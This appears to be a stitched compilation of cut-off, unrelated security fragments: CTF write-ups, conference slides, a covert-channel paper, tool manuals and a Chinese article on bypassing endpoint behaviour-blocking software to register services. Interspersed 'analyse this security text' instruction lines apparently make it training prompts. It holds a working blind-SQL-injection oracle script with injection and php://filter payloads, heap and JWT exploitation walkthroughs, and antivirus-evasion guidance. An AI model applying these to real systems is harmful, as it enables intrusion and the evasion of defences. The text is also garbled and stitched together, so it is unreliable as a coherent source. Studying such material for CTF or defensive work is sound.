100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100003 2,3,4 2049/udp nfs | 100003 2,3,4 2049/udp6 nfs | 100005 1,2,3 34690/tcp mountd | 100005 1,2,3 40182/tcp6 mountd | 100005 1,2,3 46697/udp mountd | 100005 1,2,3 48580/udp6 mountd | 100021 1,3,4 35088/tcp6 nlockmgr | 100021 1,3,4 37627/tcp nlockmgr | 100021 1,3,4 47312/udp nlockmgr | 100021 1,3,4 56054/udp6 nlockmgr | 100024 1 32992/udp status | 100024 1 45632/tcp status | 100024 1 55313/udp6 status | 100024 1 59036/tcp6 status | 100227 2,3 2049/tcp nfs_acl | 10


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从服务创建拦截看端上主防软件的工作原理和 绕过方法 前言 书接上文在上一篇中我们详细讲解了服务的工作原理和隐藏方法但是如果我们的服务根本就无法直 接注册到系统中那上一节的内容就是白扯所以怎么能够绕过端上类似于360主动防御类型的软件 将我们的服务注册进系统是一个棘手的问题我们本节就着重研究这个问题看怎么绕过 从端上主防软件的工作原理讲起 本文把在客户端上利用行为进行拦截的软件成为端上主防软件简称为hips360的主动防御模块就是 典型的端上主防软件这类软件复杂的会有用户态监控和内态监控例如crowdstrike的Falcon简单的 只有内核态监控例如火绒hips360的主动防御 1. 用户态监控一般是inline hook在第三方程序启动的时候注入自己的DLL到目标进程中修改目 标程序中关键函数的前几个字节为jmp指令跳转到自己的处理函数记录函数调用的相关的参 数进行分析后再决定是否要返回到原函数完成工作任务 2. 内核态监控windows的64系统内核有patchguard机制之后不允许驱动程序对内核的关键数据 和代码进行patch了所以无法实现内核态的inline hook此时做行为监控只能用windows提供 的几个回调来实现主要的监控点如下 PsSetCreateProcessNotifyRoutineEx  此API允许你注册一个回调函数当系统中有新的进 程创建或线程创建就会将相关的数据传给你的回调函数你可以再自己的回调函数记录这个 行为以及是否允许这个操作 CmRegisterCallback此API注册的回调函数会在注册表发生改动的时候被调用再回调函数 中可以记录相关的信息并决定是否允许这个动作发生 ObRegisterCallbacks此API可以为系统关键的object操作注册回调比如打开进程创建线 程等 PsSetLoadImageNotifyRoutine 此API可以为系统的模块加载提供回调模块包括DLL和 sys虽然也可以在这个函数中通过patch被加载模块的代码实现拒绝模块的加载但是但 是这个行为有死锁风险在商业软件中并不敢这么用另外驱动的加载和模块加载有更好的监 控位置本文不再展开吴国感兴趣以后可以专门写文章介绍 Minifilter: windows提供的内核态文件监控和框架,能够拒绝文件操作 WFP  windows提供的包过滤框架可以实现网路监控能够拒绝网络操作 有了如上的这些内核态的监控点恶意程序对系统资源的敏感操作就无处遁形在发生恶意操作时就会 被行为防护模块kill掉 使用360测试服务创建的拦截 首先要明确端上安全软件的工作逻辑在运行一个可执行文件时安全软件的杀毒引擎会先工作使用 病毒库对文件进行扫描如果发现是白程序(已知的非恶意程序)就立马放行如果发现时黑程序(恶 意)就直接禁止执行如果发现是灰程序(无法判别)那么就会将可执行程序的信息发送给主防模块 主防对此程序后续的行为进行监控如果发现恶意就立马终止执行 我们接下里的测试和讨论都是建立在你的软件是静态免杀的前提下进行的 首先说明我并没有对360的驱动和规则引擎进行逆向分析我下面的结论全部来自我对行为防护软件 上的工作相关经验和个人猜测可能和真实的拦截规则有偏差如果有不正确我们再详细交流 独立进程的服务 上一节讲了三种注册服务的方法我们依次进行测试看360是怎么拦截的根据拦截的效果我们来分 析360拦截的原因然后想办法来绕过拦截 使用sc安装服务 使用命令安装服务是最简单的方式当然也是行为防护软件最容易拦截的方式 因为内核中的 PsSetCreateProcessNotifyRoutineEx 回调监控可以直接拿到sc.exe 执行时的命令行 所以拦截这个操作也仅仅只需要一个正则表达式就可以了 直接写注册表项 保存为1.reg,然后运行 regedit /s 1.reg : 执行完之后360并没有什么反应 sc create FirstService BinPath="C:\ConsoleApplication1\Release\ConsoleApplication1.exe" DisplayName="FirstService" Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecondService] "DisplayNmae"="SecondService" "ErrorControl"=dword:01 "ImagePath"=hex(2):43,00,3a,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,41,00,\ 64,00,6d,00,6


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# JaWT Scratchpad Web Exploitation, 400 points ## Description: > Check the admin scratchpad! ## Solution: Let's connect to the provided website: ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# curl https://2019shell1.picoctf.com/problem/37903/ <!doctype html> <html> <title> JaWT - an online scratchpad </title> <link rel="stylesheet" href="/static/css/stylesheet.css"> <body> <header><h1>JaWT</h1> <br> <i><small>powered by <a href="https://jwt.io/">JWT</a></small></i></header> <div id="main"> <article> <h1>Welcome to JaWT!</h1> <p> JaWT is an online scratchpad, where you can "jot" down whatever you'd like! Consider it a notebook for your thoughts. <b style="color:blue "> JaWT works best in Google Chrome for some reason. </b> </p> <p> You will need to log in to access the JaWT scratchpad. You can use any name, other than <code>admin</code>... because the <code>admin</code> user gets a special scratchpad! </p> <br> <form action="#" method="POST"> <input type="text" name="user" id="name"> </form> <br> <h2> Register with your name! </h2> <p> You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like <a href="https://github.com/magnumripper/JohnTheRipper">John</a>! </p> </article> <nav></nav> <aside></aside> </div> <script> window.onload = function() { document.getElementById("name").focus(); }; </script> </body> </html> ``` If we try to login as `admin`, we get an error: ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# curl "https://2019shell1.picoctf.com/problem/37903/" -H "Content-Type: application/x-www-form-urlencoded" --data "user=admin" ... <p style="color:red"> YOU CANNOT LOGIN AS THE ADMIN! HE IS SPECIAL AND YOU ARE NOT. </p> ... ``` However, logging in as another user is allowed: ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# curl "https://2019shell1.picoctf.com/problem/37903/" -H "Content-Type: application/x-www-form-urlencoded" --data "user=john" -v * Try


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11 Machine Learning 22 Machine Learning as a Tool 33 Machine Learning as a Tool for Societal Exploitation 44 A Summary on the Current and Future State of Affairs 55 A Bit About Me (Im going to pretend you care) 66 F1F1cin  Student at Columbia University in New York  Independent Researcher  Mostly focus on malware  Probably younger than you think  I want to hack a human one day (judge all you want) 77 Current State The Common and the Uncommon 88 Standard Uses (generally beneficial, sometimes concerning) 99 The Human Side  Financial Trading  Sports Injuries  [courtesy of Quantum Black] 1010 The Technical Side  Data Security  Antivirus Software  Endpoint Detection Systems 1111 The Technical Side  Data Security  Antivirus Software  Endpoint Detection Systems Normal people dont think about this (?) 1212 Uncommon Uses (usually concerning, generally cool) R EALLY 1313 Crazy Dystopian S**t Ambient Sound Mapping  Determine precise location and orientation through microphone-embedded devices [without consent] Individual Profling  Recreating the human based on digital fngerprints 1414 Ambient Sound Mapping 1515 Crazy Dystopian S**t Ambient Sound Mapping  Determine precise location and orientation through microphone-embedded devices [without consent] Individual Profling  Recreating the human based on digital fngerprints  Actually more common than I give it credit for 1616 Individual Profiling 1717 The Future of Attack 1818 FIRST THING TO REMEMBER 1919 AI is NOT Attackproof (Im sure you know this) 2020 AI is NOT Attackproof  Attack isnt limited to using AI as a weapon 2121 AI is NOT Attackproof  Attack isnt limited to using AI as a weapon  Attack can mean attacks targetted towards AI systems 2222 AI as a Weapon 2323 Current Experiments / Research / whatever you want to call it 2424 Whatever you want to call it  Wargames  [courtesy of Endgame]  Intelligent Malware  Adapting to a changing environment 2525 Attacks on AI Systems 2626 This is not what I Typically Do  BUT 2727 This is


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xauth === 显示和编辑被用于连接X服务器的认证信息 ## 补充说明 **xauth命令** 用于显示和编辑被用于连接X服务器的认证信息 ### 语法 ```shell xauth(选项)(参数) ``` ### 选项 ```shell -f不使用默认的认证文件而使用指定的认证文件 -q安静模式不打印未请求的状态信息 -v详细模式打印指定的各种操作信息 -i忽略认证文件锁定 -b执行任何操作终端认证文件锁定 ``` ### 参数 * add添加认证条目到认证文件中 * extract将指定的设备内容加入到指定的密码文件中 * info显示授权文件相关信息 * exit退出交互模式 * list列出给定的显示设备的内容 * merge合并多个授权文件内容 * extract将指定设备内容写入指定的授权文件 * nextrct将指定设备内容写入指定的授权文件 * nmerge合并多个授权文件内容 * remove删除指定显示设备的授权条目 * source从指定文件读取包含xauth的内容指令


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Co v ert Messaging Through TCP Timestamps John Gin  Rac hel Greenstadt  P eter Lit w ac k  Ric hard Tibb etts  fgifgreeniep li twa ck ti bb et tsg m it ed u Massac h usetts Institute of T ec hnology Abstract W e presen t a proto col for sending data o v er a common class of lo wbandwidth co v ert c hannels Co v ert c hannels exist in most com m unications systems and allo w individuals to comm unicate truly unde tectably Ho w ev er co v ert c hannels are seldom used due to their complex it y Our proto col is b oth practical and secure against attac k b y p o w erful adv ersaries W e implemen t our proto col on a standard platform Lin ux exploiting a c hannel in a common comm unications system TCP times tamps  In tro duction A co v ert c hannel is a comm unications c hannel whic h allo ws information to b e transferred in a w a y that violates a securit y p olicy As a result co v ert c hannels are imp ortan t metho ds of censorship resistance An eectiv e co v ert c hannel is undetectable b y the adv ersary and can pro vide a strong degree of priv acy Often the fact that secret comm unication is taking place b et w een parties is extremely rev ealing Consider the prisoners problem rst form ulated b y Simmons Alice and Bob are in prison attempting to plan an escap e They are allo w ed to comm uni cate but a W arden w atc hes all of their comm unications If the W arden notices that they are planning to escap e or ev en susp ects them of trying to comm unicate secretly they will b e placed in solitary connemen t The prisoners problem is theoretically in teresting and pro vides a go o d ex planation of the problem that co v ert c hannels solv e this problem is increasingly relev an t in real w orld situations Man y go v ernmen ts pro vide restrictions on the use of cryptograph y on their systems The situation is particularly extreme in China where all ISPs are sub ject to go v ernmen t con trol although electronic systems are increasingly sub ject to surv eillance in all


Instruction: 请分析这段安全相关的文本内容

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# V1rus3pidem1c (web 100) ## ENG [PL](#pl-version) In the task we get a webpage where we can select a country from dropdown and for some countries this shows us file upload form and for some of them it doesn't. For example there is a form for `Germany` and no form for `Russia`. The country name is passed as GET parameter in the query, and we decide to see what exactly is done with it. A little bit of fuzzing tells us that it goes into some SQL query into where condition. With classic `country=Russia' or '1'='1` we get a form for Germany, which means we managed to exploit the task with SQL Injection. We tried a bit to get some echo here, but couldn't, so we simply switched to run Blind SQLi attack. We got a simple oracle function: ``` import requests session = requests.session() def is_true(condition): url = "http://tasks.ctf.com.ua:13372/index.php?country=Russia' or (%s) -- a" % condition result = session.get(url) return 'virus for Germany' in result.text def main(): print(is_true("1=1")) print(is_true("1=0")) main() ``` And with this we can extract `Information_Schema.Tables` and `Information_Schema.Columns` data, with simple substring and byte-by-byte comparison using the oracle function. This tells us there we have only a single user defined table and it contains only `countryID, countryName, scriptPath`. Last parameter is especially interesting since it's an actual path to php script with form, which gets included on the page. It's in form: `country/ge.php`, `country/tu.php` etc. We could use our SQLi to include some other file by `index.php?country=' union select 'somefile.php' -- comment`, but we can't put any file on the server. But since we control the include path we decided to check good old php wrappers and force the server to include: `php://filter/read=convert.base64-encode/resource=country/ge.php` and as expected we get a nice base64 contents of the php script. It seems that the files uploaded by the form available for some countries actually get uploa


Instruction: 请分析这段安全相关的文本内容

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Feei <feei@feei.cn> Github敏敏感信息泄露露监控 止介 <feei@feei.cn> Feei <feei@feei.cn> 吴止介Feei 介绍  白帽子  美丽联合集团 安全项目总监  专注漏漏洞洞自动化发现与防御 Feei <feei@feei.cn> 议程  背景  爬取方案  特征思路路  规则设计  报告  误报  未来 Feei <feei@feei.cn> 背景 以技术手段杜绝由于员工意识问题导致的Github敏敏感信息泄露露 Feei <feei@feei.cn> 爬取方案 爬取 Proxy+Page vs Token+API Feei <feei@feei.cn> 准实时与频率限制的取舍 爬取 CORP * RULES(N1) * (SEARCH + PAGES(N2) + (PAGE_LIST + HTML_URL + SHA + PATH + FULL_NAME + CONTENT) * PER_PAGE(N3)) N1= ?, N2 = 20, N3 = 50 Token Max Requests(5000) / Single Rule Requests(320) = Rules(15) Feei <feei@feei.cn> 内部特征 - 域名反查 通用内网域名特征 .net alipay.net taobao.net qihoo.net elenet.me 后缀 mogujie.org tuniu.org dianrong.io bilibili.co inc meili-inc.com sohu-inc.com alibaba-inc.com cainiao-inc.com corp ctripcorp.com 相似 wemomo.com Feei <feei@feei.cn> 内部特征 - Github模糊查询 通用模糊搜索词 domain.tld corp domain.tld dev domain.tld inc domain.tld pre domain.tld test domain inc domain copyright Feei <feei@feei.cn> 内部特征 Meili-Inc 内部域名 mogujie.org / meili-inc.com 对外邮箱 mail.mogujie.com Feei <feei@feei.cn> 内部特征 iQIYI 代码注释 IQIYI Inc 内部域名 qiyi.domain 主机 qiyi.virtual 数据库 qiyi.db 对外邮箱 mail.iqiyi.com Feei <feei@feei.cn> 内部特征 Baidu 代码注释 @baidu.com Baidu, Inc 内部域名 vm.baidu.com / epc.baidu.com iwm.name 主机 vm.baidu.com / nj01.baidu.com sh01.dba-nuomi-bgoods.sh01 数据库 xdb.all.serv db-dba-dbbk-001.db01 对外邮箱 smtp.baidu.com Feei <feei@feei.cn> 内部特征 Other 京东 jd.local 360 qihoo.net 搜狐 sohuno.com 苏宁 cnsuning.com 陌陌 wemomo.com 饿了了么 elenet.me 携程 ctripcorp.com 去哪儿 qunar.net 支付宝 alipay.net 淘宝 taobao.net 小米 miofﬁce.cn 菜鸟 cainiao-inc Feei <feei@feei.cn> 通特征 企业邮箱 exmail.qq.com qiye.163.com 263.net mxhichina.com icoremail.net  私密文档 账号 密码 微信密钥 appid appsecret QCloud密钥 privatekey publickey Feei <feei@feei.cn> 搜索特性 强制搜索 加引号比如meili-inc.com 横杠默认不不匹配 使用meili-inc.com搜索不不出使用meili inc.com则可以 分词特性 appsecret Feei <feei@feei.cn> 规则设计 Keywords 多个关键词可以用空格比如账号 密码 某些关键字出现的结果非常多所以需要精确搜索时可以用双引号括 起来比如ele.me Mode normal-match(default): 匹配包含keyword的行行并记录该行行附近行行 only-match:仅匹配包含keyword行行 full-match: 搜出来的整个问题都算作结果


Instruction: 请分析这段安全相关的文本内容

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1 pingOrce出题writeup ---种环境变量注劫 持bash的实际利场景 前 GoAhead GoAhead + bash 参考 前不久p分享了个利环境变量注劫持bash的技巧. 当时我就在想这种环境变量的注有没有什么较通的场景般遇到的环境变量注基本上都是直 接使ld_preload解决问题p的这种新的环境变量注的利技巧有没有什么特殊的利呢 嵌式设备常的Web服务器 GoAhead 出现过环境变量注漏洞 CVE-2017-17562 和 CVE-2021- 42342 漏洞的原理很简单服务器会把收到的CGI请求参数直接写到环境变量中 CVE-2017-17562 的修复案也很简单在写的环境变量前加 CGI_前缀 添加名单过滤实际上 效 但是这补丁并没有完全修复 在 multipart 表单请求遗漏了请求参数的处理 名单也没起作 所以就有了CVE-2021-42342 当时我在复现 CVE-2017-17562和CVE-2021-42342 时遇到了个问题. 我在上传件时发了500错误 控制台任何错误输出 阅读源码后我发现 GoAhead 上传件时会向个固定的临时件夹写临时件 默认为--home参数提供的录下的tmp 录 前 GoAhead 2 如果录不存在 或者是法写件就法完成上传流程在后来搜索漏洞分析的才发现了p的 章已经写过了我遇到的坑 还有些其他的学问题 在创建tmp录后我成功的完成了漏洞复现 这时我想到了个问题 嵌式设备多都是只读件系统即使是可写也没有创建这个临时录 那么这个漏洞在实际的场景下应该很难利 当时没有其他法只能步于此 直到我遇到了p的这篇章 些嵌式设备会有执系统命令的场景 如ping 路由跟踪 等等 在这个场景下并结合p的bash劫持就可以完美的完成命令执标 随便构建个cgi GoAhead + bash 3 web功能代码 C 复制代码 int isValidIp4 (char *str) { int segs = 0; /* Segment count. */ int chcnt = 0; /* Character count within segment. */ int accum = 0; /* Accumulator for segment. */ /* Catch NULL pointer. */ if (str == NULL) return 0; /* Process every character in string. */ while (*str != '\0') { /* Segment changeover. */ if (*str == '.') { /* Must have some digits in segment. */ if (chcnt == 0) return 0; /* Limit number of segments. */ if (++segs == 4) return 0; /* Reset segment values and restart loop. */ chcnt = accum = 0; str++; continue; } /* Check numeric. */ if ((*str < '0') || (*str > '9')) return 0; /* Accumulate and check segment. */ if ((accum = accum * 10 + *str - '0') > 255) return 0; /* Advance other segment specific stuff and continue loop. */ chcnt++; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 4 使p的 bash环境变量注劫持ping 命令实现任意代码执 str++; } /* Check enough segments and enough characters in last segment. */ if (segs != 3) return 0; if (chcnt == 0) return 0; /* Address okay. */ return 1; } printf("<HTML><TITLE>Network looking glass</TITLE><BODY>\r\n"); printf("<form action=\"\" method=\"GET\">\r\n"); printf("<in


Instruction: 请分析这段安全相关的文本内容

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Steinthor)Bjarnason Jason)Jones Arbor)Networks The$call$is$coming$from$inside$the$house!$ Are$you$ready$for$the$next$evolution$in$ DDoS$attacks?$  The)Promise)of)IoT  More)personalized,)automated)services  Better)understanding)of)customer)needs  Optimized)availability)and)use)of) resources)  Resulting)in:  Lower)Costs  Improved)Health  Service)/)efficiency)gains  Lower)environmental)impact The$Wonders$of$IoT  To)fulfill)these)premises,) IoT)devices)are)usually:  Easy)to)Deploy  Easy)to)Use  Require)Minimal) Configuration)  Low)cost  However The$IoT$Problem$ Security$ Unprecedented DDoS attack sizes Mirai infections)December)2017  1M)login)attempts)from)11/29)to)12/12)from)92K)unique) IP)addresses  More$than$1$attempt$per$minute$in$some$regions The$Results The$Situation$Today  An)unprotected)IoT)device)on) the)Internet)will)get)infected) within)1)minute.  An)IoT)device)located)behind)a) NAT)device)or)a)Firewall)is)not) accessible)from)the)Internet)and) is)therefore)(mostly))secure.)  But)in)January)2017,)this)all) changed http://marketingland.com/wp-content/ml-loads/2014/09/iceberg-ss-1920.jpg Windows-Based$IoT$Infection  Desktop)malware)spreading)multi-platform)malware)is)not)new  Increasingly)common)technique)amongst)both)targeted)malware)and)crimeware,) primarily)focusing)on)mobile)devices  HackingTeam RCS  WireLurker  DualToy  BackStab)campaign  Banking)trojans will)also)targeting)mobile)devices)to)steal)2FA)/)SMS)authorization) codes  May)consist)of)a)sideload installation)or)tricking)a)user)to)click)a)link)on)their)phone  IOT)devices)present)a)new)and)ripe)infection)vector  Windows)Mirai)is)the)first)known)multi-platform)trojan to)target)IoT)devices)for)infection Background  HackingTeam RCS)is)a)well-known)implant)commonly)sold)to)nation-state) organizations)for)monitoring)/)spying)purposes  HackingTeam has)clients)for)both)Mac)and)Windows)Desktop)systems  Also)clients)for)Android,)iOS,)Blackberry,)WindowsPhone mobile)OS  Infection)on)mobile)operating)systems)c


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--- title: braa categories: Information Gathering tags: [kali linux,enumeration,braa,information gathering,snmp] date: 2016-10-19 06:38:49 --- 0x00 braa介绍 ------------- Braa是大规模SNMP扫描工具,这种工具的预期用途当然是使SNMPSimple Network Management Protocol简单网络管理查询 - 但不同于来自net-snmp的snmpget或snmpwalk它能够在单个进程中同时查询几十或几百个主机 因此它消耗非常少的系统资源并且扫描非常快 Braa通过它的OWN snmp栈实现所以它不需要任何SNMP库如net-snmp 它的实现非常脏只支持几种数据类型并且在任何情况下都不能说符合标准 但是它跑起来飞快 因为这个原因好吧也是因为我的懒惰在braa中没有ASN.1解析器 - 你必须知道OID的数值例如.1.3.6.1.2.1.1.5.0 而不是用system.sysName.0 OID可以理解为有规则的设备参数编码snmp协议将设备的各种参数按树形结构进行分组从树的根部开始每一个层级节点会有一个编码将这些层级编码以."作为分隔符将其拼接起来所形成的一串编码就叫OID通过OID可以对该OID表示的参数进行操作 可以参考[SNMP监控一些常用OID的总结][1] 工具来源braa README [braa主页][2] | [Kali braaRepo仓库][3] - 作者Mateusz mteg Golicz - 证书GPLv2 0x01 braa功能 --------------- Braa - 大规模SNMP扫描工具 ```shell root@kali:~# braa braa 0.81 - Mateusz'mteg'Golicz <mtg@elsat.net.pl>2003 - 2006 用法braa [options] [query1] [query2] ... -h 显示此帮助 -2 声明SNMP2C代理 -v 执行所有查询后显示简要摘要 -x 十六进制转储八位字节串 -t <s> 获得响应前等待数秒 -d <s> 发送每个数据包后等待微秒数 -p <s> 在后续遍之间等待数毫秒 -f <file> 从文件<file>加载查询逐行 -a <time> 在<time>秒后退出 -r <rc> 重试次数默认值3 查询格式 GET: [community@]iprange[:port]:oid[/id] WALK: [community@]iprange[:port]:oid.*[/id] SET: [community@]iprange[:port]:oid=value[/id] 例子 public@10.253.101.1:161:.1.3.6.* 10.253.101.1-10.253.101.255:.1.3.6.1.2.1.1.4.0=sme 10.253.101.1:.1.3.6.1.2.1.1.1.0/description 也可以一次指定多个查询 10.253.101.1-10.253.101.255:.1.3.6.1.2.1.1.4.0=sme,.1.3.6.* 将.1.3.6.1.2.1.1.4.0设置为'me'并从.1.3.6开始 SET查询的值必须在前面加上指定值类型的字符 i 是INTEGER类型 a 是IPADDRESS类型 s 是OCTET STRING类型 o 是OBJECT IDENTIFIER类型 如果缺少类型说明符则会自动检测值类型 ``` 0x02 braa用法示例 ----------------- 使用公开公布的OID字符串在192.168.1.215上运行遍历SNMP树查询.1.3.6下的所有OID ```shell root@kali:~# braa public@192.168.1.215:.1.3.6.* 192.168.1.215:122ms:.1.3.6.1.2.1.1.1.0:Linux redhat.biz.local 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 192.168.1.215:143ms:.1.3.6.1.2.1.1.2.0:.1.3.6.1.4.1.8072.3.2.10 192.168.1.215:122ms:.1.3.6.1.2.1.1.3.0:4051218219 192.168.1.215:122ms:.1.3.6.1.2.1.1.4.0:Root <root@localhost> (configur


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security when nanoseconds count James Arlen, CISA DEF CON 19 disclaimer I am employed in the Infosec industry, but not authorized to speak on behalf of my employer or clients. Everything I say can be blamed on the voices in your head. 2 credentials  15+ years information security specialist  staff operations, consultant, auditor, researcher  utilities vertical (grid operations, generation, distribution)  ﬁnancial vertical (banks, trust companies, trading)  some hacker related stuff (founder of think|haus) ...still not an expert at anything. 3 nanoseconds... 4 5 Admiral Hopper says... From an interview segment by Morley Safer in 1982 $=c (speed of light matters)  distance light travels in a:  millisecond ~300km (~186 miles)  microsecond ~300m (~328 yards)  nanosecond ~30cm (~1 foot) 6 before you ask...  This is a talk about... $$  Im not going to mention any of those things on your buzz-word bingo card:  SCADA  APT  PCI - DSS  wikileaks  (anti-|lulz)sec  hacktivism  ...insert more here. 7 ﬁnance at DEF CON?  You know it!  DEF CON is all about offensive and defensive techniques and technologies  Sometimes, knowing that a vulnerability exists to be exploited helps to focus attention.  Sometimes, people like me tell you things that sound completely crazy but have a history of coming true. 8 trading history  1200s - Commodity and Debt trading  1500s - Inter-market trading  1600s - Equity trading  early 1800s - Reuters uses carrier pigeons  late 1800s - electronic ticker tape (market data feeds) become widespread  mid 1900s - quotation systems (next price rather than last price) become widespread  late 1900s - computers are used to maintain the records of the exchange  early 2000s - computers begin trading with each other without human intervention 9 deﬁnitions  high speed trading: committing trades on a scale faster than human interactive speeds  algorithmic trading: trades based on the mathematical result of incoming information from external sources (news, market data,


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DEF CON 19: This is REALLY not the Droid youre looking for Nicholas J. Percoco  Trustwaves SpiderLabs Sean Schulte  Trustwaves SSL Team Copyright Trustwave 2011 Agenda  Introductions  Primer / History: Android Platform Development  Mobile User Interface DOs and DONTs  Research Motivations  Research Implications  Demo  How it Works: Technical Deep Dive  Conclusions Copyright Trustwave 2011 Introductions Who are we? Nicholas J. Percoco (c7five)  Head of SpiderLabs at Trustwave  Started my InfoSec career in the 90s Sean Schulte (sirsean)  SSL Team at Trustwave  Backend Developer (Java & Ruby) Copyright Trustwave 2011 Introductions Whats this talk about? Part II of last years talk  Focused on Kernel Level Rootkit for Android OS  Raised awareness on the risks and implications  Did NOT touch on anything in userland Copyright Trustwave 2011 Introductions Whats this talk about? This year  We focused 100% on the userland  What tricks we could play using available APIs?  Explored what Google allowed developers to do  Discovered a Layer-7 0day in the process Copyright Trustwave 2011 Primer / History: Android Platform Dev What is the Android OS?  Android is a software stack for mobile devices that includes an operating system, middleware and key applications.  The applications consists of Java apps running on the Dalvik VM.  The middleware is made of C libraries including SQLite, OpenGL, WebKit, etc.  The kernel is Linux. Source: Google Copyright Trustwave 2011 Primer / History: Android Platform Dev How has Android evolved? - Donut / Éclair (XX%) - Revamped UI (introduced slide-from-right animation between different applications) - Froyo (XX%) - Performance improvements, Wifi tethering, Flash - Gingerbread (XX%) - Refined UI  No carrier cooperation, little uptake - Honeycomb (XX%) - Closed source, tablet-only Copyright Trustwave 2011 Primer / History: Android Platform Dev How does Google release Android updates?  Closed development inside Google  Source drop at the time of bina


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# Contacts Binary Exploitation, 850 points ## Description: > This program for storing your contacts is currently in beta. Can you hijack control and get a shell? ```c #include <stdio.h> #include <string.h> #include <stdlib.h> #define MAX_CONTACTS 16 struct contact { char *name; char *bio; }; struct contact *contacts[MAX_CONTACTS]; unsigned int num_contacts = 0; void print_contacts(){ for (int i = 0; i < num_contacts; i++){ if (contacts[i]->bio != NULL){ printf("%s - %s\n", contacts[i]->name, contacts[i]->bio); }else{ printf("%s - (No bio)\n", contacts[i]->name); } } } struct contact *find_contact(char *name){ for (int i = 0; i < num_contacts; i++){ if (!strcmp(name, contacts[i]->name)){ return contacts[i]; } } return NULL; } void create_contact(char *name){ if (num_contacts == MAX_CONTACTS){ puts("Too many contacts! Delete one first!"); return; } struct contact *contact = (struct contact *)malloc(sizeof(struct contact)); if (contact == NULL){ puts("Could not allocate new contact."); exit(-1); }; /* make a copy of the name on the heap */ contact->name = strdup(name); if (contact->name == NULL){ puts("Could not duplicate name."); exit(-1); } contacts[num_contacts++] = contact; } void delete_contact(struct contact *contact){ free(contact->name); /* if the bio is set, free it as well */ if (contact->bio != NULL){ free(contact->bio); } free(contact); /* replace the corresponding index with the last contact and decrement num_contacts */ for (int i = 0; i < num_contacts; i++){ if (contacts[i] == contact){ contacts[i] = contacts[num_contacts - 1]; num_contacts--; break; } } } void set_bio(struct contact *contact){ char input[4]; size_t length; /* we'll replace the old bio */ if (contact->bio != NULL){ free(contact->bio); } puts("How long will the bio be?"); if (fgets(input, 4, stdin) == NULL){ puts("Couldn't read length."); return; }; length = strtoul(input, NULL, 10); if (length > 255){ puts("Bio must be at most 255 characters."); return; } contact->bio = (char *)malloc(le


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cd === 切换用户当前工作目录 ## 概要 ```shell cd [-L|[-P [-e]]] [dir] ``` ## 主要用途 - 切换工作目录至`dir`其中`dir`的表示法可以是绝对路径或相对路径 - 若参数`dir`省略则默认为使用者的shell变量`HOME` - 如果`dir`指定为`~`时表示为使用者的shell变量`HOME``.`表示当前目录`..`表示当前目录的上一级目录 - 环境变量`CDPATH`是由冒号分割的一到多个目录你可以将常去的目录的上一级加入到`CDPATH`以便方便访问它们如果`dir`以`/`开头那么`CDPATH`不会被使用 - 当`shopt`选项`cdable_vars`打开时如果`dir`在`CDPATH`及当前目录下均不存在那么会把它当作变量读取它的值作为要进入的目录 ## 参数 dir可选指定要切换到的目录 ## 选项 ```shell -L 默认值如果要切换到的目标目录是一个符号连接那么切换到符号连接的目录 -P 如果要切换到的目标目录是一个符号连接那么切换到它指向的物理位置目录 - 当前工作目录将被切换到环境变量OLDPWD所表示的目录也就是前一个工作目录 ``` ## 返回值 返回状态为成功除非无法进入指定的目录 ## 例子 ```shell cd # 进入用户主目录 cd / # 进入根目录 cd ~ # 进入用户主目录 cd .. # 返回上级目录若当前目录为/则执行完后还在/"".."为上级目录的意思 cd ../.. # 返回上两级目录 cd !$ # 把上个命令的参数作为cd参数使用 ``` 关于切换到上一个工作目录的说明 ```shell cd - # 命令会首先显示要切换到的目标目录然后再进入 cd ${OLDPWD} # 命令会直接切换到上一个工作目录 ``` 关于`CDPATH` ```shell # 设置桌面文件夹作为CDPATH的值 CDPATH='~/Desktop' # 假设我们接下来要演示涉及到的路径~和~/Desktop下没有test3文件夹现在新建它们 mkdir ~/test3 mkdir ~/Desktop/test3 # 进入~目录 cd ~ # 进入test3目录 cd test3 # 执行后显示~/Desktop/test3并进入该目录而不是~目录的test3目录 # 如果CDPATH存在值那么优先在CDPATH中查找并进入第一个匹配成功的如果全部失败那么最后尝试当前目录 ``` 关于`cdable_vars` ```shell # 打开选项 shopt -s cdable_vars # 假设当前路径以及CDPATH没有名为new_var的目录 new_var='~/Desktop' # 尝试进入 cd new_var # 关闭选项 shopt -u cdable_vars ``` ### 注意 1. 该命令是bash内建命令相关的帮助信息请查看`help`命令 2. 建议您在编写脚本的过程中如有必要使用`cd`命令时请增加必要的注释以用于提醒阅读者当前工作目录以免出现诸如`找不到文件`这类问题的发生


